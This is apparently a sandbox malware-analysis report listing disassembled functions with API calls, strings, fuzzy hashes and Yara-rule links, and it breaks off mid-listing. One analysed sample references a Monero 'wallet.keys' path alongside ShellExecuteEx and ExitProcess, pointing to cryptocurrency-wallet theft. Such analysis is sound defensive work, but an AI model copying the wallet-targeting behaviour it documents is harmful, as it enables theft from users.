API String ID: 3805649505-2608361144
Opcode ID: 6cfc449c2bf4fa47538e563553323efe65c6c327a730db1e81dca10a36a10d9a
Instruction ID: f699f4a3dda68baabe047f1666090cfb37e25e6c9ccbda50b1e34a775a45ac95
Opcode Fuzzy Hash: 6cfc449c2bf4fa47538e563553323efe65c6c327a730db1e81dca10a36a10d9a
Instruction Fuzzy Hash: A6510271F047428FD318CF68C19465ABBE5FB89304F244A2ED9A9C7B85D730E885CB91

Function 6CADB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA84290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAC3EBD,6CAC3EBD,00000000), ref: 6CA842A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CADB127), ref: 6CADB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CADB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CADB4E4

Strings

pid:, xrefs: 6CADB4DE

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: bb5eb93e93d9c5e52d78b4521c655f17bf42e6b42963c01c2d9f22c80456f4a4
Instruction ID: 0706af6f7342a8cf6a31ea7d9d4076806e2dc1c6179028767b135de884bd21c6
Opcode Fuzzy Hash: bb5eb93e93d9c5e52d78b4521c655f17bf42e6b42963c01c2d9f22c80456f4a4
Instruction Fuzzy Hash: 9931F571A012049BDB10DFA9E880AEEB7B5FF09319F590629D81267A41D731F9C9CBA1

Function 00576630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00576663

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

ShellExecuteEx.SHELL32(0000003C), ref: 00576726
ExitProcess.KERNEL32 ref: 00576755

Strings

<, xrefs: 005766D9

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 5a710cc28a443464432ead690494f5e2472693f74d93d23ed1944431eccf5938
Instruction ID: 37c14931c7c7aea8645551292647dd766a7507228348318bc3dfcaa6ddde0f1e
Opcode Fuzzy Hash: 5a710cc28a443464432ead690494f5e2472693f74d93d23ed1944431eccf5938
Instruction Fuzzy Hash: FC312BB1801219ABDB54EB60EC89BEE7B78BFC4300F408198F31966191DF746A48CF5A

Function 005787C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00580E28,00000000,?), ref: 0057882F
RtlAllocateHeap.NTDLL(00000000), ref: 00578836
wsprintfA.USER32 ref: 00578850

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Strings

%dx%d, xrefs: 00578847

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: d7fc39a804ff8170a678253403c628089207a362936e7f16d733ee35a9383742
Instruction ID: 962c7ae1db9ed7fdea8b210ed34292a095d15f43ae1cbc92f56a87dea8dae792
Opcode Fuzzy Hash: d7fc39a804ff8170a678253403c628089207a362936e7f16d733ee35a9383742
Instruction Fuzzy Hash: 3221EDB1A40204BBDB44DF94DD49FAEBBB8FB89B11F108519F605A7280C77D9901CBA5

Function 6CACE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CACE577
AcquireSRWLockExclusive.KERNEL32(6CB0F4B8), ref: 6CACE584
ReleaseSRWLockExclusive.KERNEL32(6CB0F4B8), ref: 6CACE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CACE8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CACE722, 6CACE750, 6CACE7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CACE655
MOZ_PROFILER_STARTUP, xrefs: 6CACE5A1, 6CACE5CC, 6CACE5FF, 6CACE62A
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CACE826, 6CACE850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CACE777

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 11c550e2910a4bc282ebdfe430f5eeb96e0d2a96c10e7527f74942a12db1706b
Instruction ID: ca0627acc66bedfe8edbcfc5a9f0f479305c926e47307da8946ea3846506685c
Opcode Fuzzy Hash: 11c550e2910a4bc282ebdfe430f5eeb96e0d2a96c10e7527f74942a12db1706b
Instruction Fuzzy Hash: C911C431704298DFDB009F14C489B6DBBB8FB89368F04061DEC5557A50D770A844CFD5

Function 00578D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0057951E,00000000), ref: 00578D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00578D62
wsprintfW.USER32 ref: 00578D78

Strings

%hs, xrefs: 00578D6F

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 6cc011f60438f7e4f16d7a39d17493ede09ca923636cf2bcfaabeda333c425a0
Instruction ID: bc65c4489cc8b36cec50863d2fb38bd5e38e86f6c7bcbc8a1929c74c93c93aca
Opcode Fuzzy Hash: 6cc011f60438f7e4f16d7a39d17493ede09ca923636cf2bcfaabeda333c425a0
Instruction Fuzzy Hash: 6DE08CB1A40208BFCB00DF94DC0AE697BB8EB85702F008094FD0997280DA799E00CB9A

Function 6CAD0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAD0CD5

Part of subcall function 6CABF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CABF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAD0D40
free.MOZGLUE ref: 6CAD0DCB

Part of subcall function 6CAA5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAA5EDB
Part of subcall function 6CAA5E90: memset.VCRUNTIME140(6CAE7765,000000E5,55CCCCCC), ref: 6CAA5F27
Part of subcall function 6CAA5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAA5FB2

free.MOZGLUE ref: 6CAD0DDD
free.MOZGLUE ref: 6CAD0DF2

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: bcd638008fa664bbbb345042529675f9bbe81d5781da44720053e4bd166c74a6
Instruction ID: 4a616fb294d2a9dc621bb9289b6b77300f8112b29ea0e5f5f704c7cabec1a18c
Opcode Fuzzy Hash: bcd638008fa664bbbb345042529675f9bbe81d5781da44720053e4bd166c74a6
Instruction Fuzzy Hash: E84118759087809BD320CF29C18079EFBE5BFD9714F158A2EE8D887750D770A589CB92

Function 6CADCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CACDA31,00100000,?,?,00000000,?), ref: 6CADCDA4

Part of subcall function 6CA9CA10: malloc.MOZGLUE(?), ref: 6CA9CA26

Part of subcall function 6CADD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CADCDBA,00100000,?,00000000,?,6CACDA31,00100000,?,?,00000000,?), ref: 6CADD158
Part of subcall function 6CADD130: InitializeConditionVariable.KERNEL32(00000098,?,6CADCDBA,00100000,?,00000000,?,6CACDA31,00100000,?,?,00000000,?), ref: 6CADD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CACDA31,00100000,?,?,00000000,?), ref: 6CADCDC4

Part of subcall function 6CAD7480: ReleaseSRWLockExclusive.KERNEL32(?,6CAE15FC,?,?,?,?,6CAE15FC,?), ref: 6CAD74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CACDA31,00100000,?,?,00000000,?), ref: 6CADCECC

Part of subcall function 6CA9CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA9CAA2

Part of subcall function 6CACCB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CADCEEA,?,?,?,?,00000000,?,6CACDA31,00100000,?,?,00000000), ref: 6CACCB57
Part of subcall function 6CACCB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CACCBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CADCEEA,?,?), ref: 6CACCBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CACDA31,00100000,?,?,00000000,?), ref: 6CADD058

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: c8a6e60d54b1ec69039171371bdf6ec2e16c2b9d7f2d96da020c4cc9da9ad42b
Instruction ID: ff34363e93cadfa5c4f9c76419693accb2c4cd02fae1f62cf59e266f1cfef450
Opcode Fuzzy Hash: c8a6e60d54b1ec69039171371bdf6ec2e16c2b9d7f2d96da020c4cc9da9ad42b
Instruction Fuzzy Hash: F5D17E71A04B469FD708CF28C580B99F7F1BF89308F05862DD8598B751EB31B9A9CB91

Function 6CAA5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CAA5D40
EnterCriticalSection.KERNEL32(6CB0F688), ref: 6CAA5D67
__aulldiv.LIBCMT ref: 6CAA5DB4
LeaveCriticalSection.KERNEL32(6CB0F688), ref: 6CAA5DED

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: fe0504dcf78c9f3b9b06b3d97c0e85bc5880f2b8044c0c82dc4d7fd477e2e3dd
Instruction ID: 0344329954ff218f8e9e592d05142bf3231848e6276e5a25afac803905b4cf33
Opcode Fuzzy Hash: fe0504dcf78c9f3b9b06b3d97c0e85bc5880f2b8044c0c82dc4d7fd477e2e3dd
Instruction Fuzzy Hash: 47518F71F002598FCF08CFA8C854BAEBBB2FB95304F19861DD855A7751C7316986CB94

Function 6CA8CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA8CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CA8CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CA8CF4E

Strings

0, xrefs: 6CA8CF30

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: c759c0c8e3a22afcc985df62761c22def4fd79a358b2fba13499666fa8b2b7d5
Instruction ID: 3b67b757872c298f87b23c8bc1fe39cf334f8ab284ef381f98889730d363e029
Opcode Fuzzy Hash: c759c0c8e3a22afcc985df62761c22def4fd79a358b2fba13499666fa8b2b7d5
Instruction Fuzzy Hash: 2B512171A002168FCB00CF18C890AAAFBB5EF99304F19829DD8595F352E331ED46CBE0

Function 00573560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: f3a47a58fcdb9e4e5928242135fc8027848531911ca2e9d2c2b45be291f96b91
Instruction ID: 877a63a6e296daaadc1acc70bea3813c3d5d7a71b83a556fce283445abd8fd5f
Opcode Fuzzy Hash: f3a47a58fcdb9e4e5928242135fc8027848531911ca2e9d2c2b45be291f96b91
Instruction Fuzzy Hash: C5410271D10109ABCB04EFA4E849AEEBB74FF94314F10C418F51A77291DB75A609EF92

Function 6CAC6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CAC82BC,?,?), ref: 6CAC649B

Part of subcall function 6CA9CA10: malloc.MOZGLUE(?), ref: 6CA9CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC64A9

Part of subcall function 6CABFA80: GetCurrentThreadId.KERNEL32 ref: 6CABFA8D
Part of subcall function 6CABFA80: AcquireSRWLockExclusive.KERNEL32(6CB0F448), ref: 6CABFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC653F
free.MOZGLUE(?), ref: 6CAC655A

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: c4de9efe6f28f5597685af02739028f8cc8101f765eb8075b0cff4e48272944c
Instruction ID: ca35502159dff514eee52e5a1b48199813c3094bf125abfad346f381f672209c
Opcode Fuzzy Hash: c4de9efe6f28f5597685af02739028f8cc8101f765eb8075b0cff4e48272944c
Instruction Fuzzy Hash: 02318FB5A043059FD700CF14D984A9ABBE4FF88314F10452EE89A97740DB30E959CB92

Function 005794D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 005794EB

